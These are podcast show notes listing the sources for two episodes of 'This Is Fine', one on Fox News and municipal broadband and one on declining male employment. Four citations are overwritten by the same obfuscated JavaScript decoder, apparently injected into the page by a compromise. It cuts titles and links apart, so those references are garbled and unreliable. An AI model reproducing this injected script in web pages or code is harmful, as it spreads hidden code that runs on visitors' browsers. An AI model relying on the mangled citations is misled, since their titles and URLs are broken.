This is Fine

Welcome to This Is Fine episode 1.10: Fox Populi. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and share this link with your Comcast representative the next time you’re on hold.

In this week’s podcast, guest Sam Thielman helps us understand the business model that has sustained Fox News.  We also talk about the ways in which state and local politicians have conspired with large corporations in places like Chattanooga, Tennessee to keep rural services like broadband expensive and only available through corporate oligopolies.  Is fighting against monopoly power a way forward for the Left?  

We’ll return in two weeks with This is Fine 1.11, when Jerry rejoins us with some special guests to discuss industrial policy in the United States.

Referenced on the podcast (in order of discussion):

• Rick Perlstein, “I Thought I Understood the American Right:  Trump Proved Me Wrong,” New York Times Magazine
• William F Buckley, “Why the South Must Prevail,” National Review  
• Gabriel Sherman, The Loudest Voice in the Room: How the Brilliant, Bombastic Roger Ailes Built Fox News--and Divided a Country
• Bat Boy & the Reptilians
• Lisa de Moraes, Cable TV Rankings 2016, Deadline.com
• Amy Kaufman, “President Obama to Bill Maher: 'If I watched Fox News, I wouldn’t vote for me either,” Los Angeles Times
• Kevin Quealy and Margot Sanger-Katz, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-who-loses-under-republicans-health-care-plan.html">Who Wins and Who Loses Under Republicans’ Health Care Plan,” The Upshot, New York Times
• Andrew Sullivan, “Why Do Democrats Feel So Sorry for Hillary Clinton?” New York Magazine
• Sam Thielman, “FCC weighs laws blocking local internet providers from competing with telecoms,” The Guardian
• David Morris, “Private Telecoms Get Another Win Over Municipal Broadband in Tennessee,” Fortune
• Matt Stoller, “I'd be really curious how anti-monopoly messaging would work, in either party. Basically running against Comcast.”  Twitter.  [We channeled the future Stoller tweet.]
• Max Fisher, “How Jimmy Carter Saved Craft Beer,” The Atlantic

Welcome to This Is Fine episode 1.9: Sons of Autarky. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your favorite dad or uncle.

In this week’s podcast, we talk about how the crisis of declining male labor force participation, the opioid epidemic, the Trump vote, and racism are all connected by one powerful narrative, autarkic patriarchal white labor (APWL). That’s the belief that a man's purpose is to provide for his family and that purpose can be only honored by certain types of work. Examining APWL, we look at some of the damage this story many men tell themselves has caused, and we look for a way out.

We’ll return in two weeks with This is Fine 1.10(!), when we'll discuss industrial policy in the United States.

Works referenced on the podcast (in order of discussion):

• Jeremy Reff, “I would like to buy what Chris Arnade is selling...(Autarkic Patriarchal White Labor),” Facebook
• Chris Arnade, “Divided by Meaning,” Medium
• "The Upshot," New York Times:
• Aisch and Gebeloff: “The Changing Nature of Middle-Class Jobs”
• Claire Cain Miller
  • “Why Men Don't Want the Jobs Mostly Done by Women”
  • “As Women Take Over a Male Dominated Field, the Pay Drops”
  • “More Men Are Taking Women's Jobs, Usually Disadvantaged Men”
  • “Why What You Learned in Preschool May be Crucial at Work”
• Binyamin Appelbaum, “The Vanishing Male Worker: How America Fell Behind”
• Randy Olson, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andalolson.com/2014/06/14/percentage-of-bachelors-degrees-conferred-to-women-by-major-1970-2012/" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://www.randalolson.com/2014/06/14/percentage-of-bachelors-degrees-conferred-to-women-by-major-1970-2012/&source=gmail&ust=1491529012871000&usg=AFQjCNEN9S14JQPRuyL7BcEKrfQIBGlTIg">Percentage of Bachelor's Degrees Conferred to Women by Major (1970-2012),” function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andalolson.com/" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://randalolson.com&source=gmail&ust=1491529012871000&usg=AFQjCNEPCmhQmpuVstJmq2uY9cN2tDHkWg">randalolson.com
• Joan Williams, “What so Many People Don't Get About the US Working Class,” Harvard Business Review
• Chris Ladd, “Socialism for White People,” Political Orphans
• Thomas Edsell, “The Increasing Significance of the Decline of Men,” New York Times
• Jeff Guo, “The Shocking Pain of American Men,” Washington Post
• Autor et al., “Family Disadvantage and the Gender Gap in Behavioral and Educational Outcomes,” NBER
• Erich Fromm, Escape from Freedom
• Peter Frase, Four Futures: Life After Capitalism
• Kurt Vonnegut, Player Piano
• Hetscho, et al., “Changing Identity: Retiring from Unemployment,” The German Socio-Economic Panel Study, DIW Berlin
• Stephanie Coontz, “Do Millennial Men Want Stay-at-Home Wives?” New York Times

Background Reading (including some of the academic work that informs much of the above):

• David Autor, “The Polarization of Job Opportunities in the US Labor Market,” Center for American Progress/MIT
• David Autor and Melanie Wasserman, “Wayward Sons: The Emerging Gender Gap in Labor Markets and Education,” Third Way/MIT
• Susan Chira, “Men Need Help.  Is Hillary Clinton the Answer?” New York Times
• David Deming, “The Growing Importance of Social Skills in the Labor Market,” Harvard/NBER
• Dill et al., “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-middle-skill-health-care-jobs/" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://workinprogress.oowsection.org/2016/07/07/does-the-glass-escalator-compensate-for-the-devaluation-of-care-work-the-careers-of-men-in-low-and-middle-skill-health-care-jobs/&source=gmail&ust=1491529012872000&usg=AFQjCNGMicN8PBomi3kggPaXdyEHEq8sZQ">Does the ‘Glass Escalator’ Compensate for the Devaluation of Care Work Occupations?” Gender & Society
• Gatta and Roos, “Rethinking Occupational Integration,” Rutgers
• Lawrence Katz, “Long-Term Unemployment in the Great Recession,” Harvard
• Alan Krueger, “Where Have All the Workers Gone?” Princeton/NBER
• Liza Mundy, “Why is Silicon Valley So Awful to Women?,” The Atlantic
• Obama White House Council of Economic Advisors, “The Long-term Decline in Prime Age Male Labor Force Participation”
• Richard Reeves and Isabel Sawhill, “Men’s Lib!” New York Times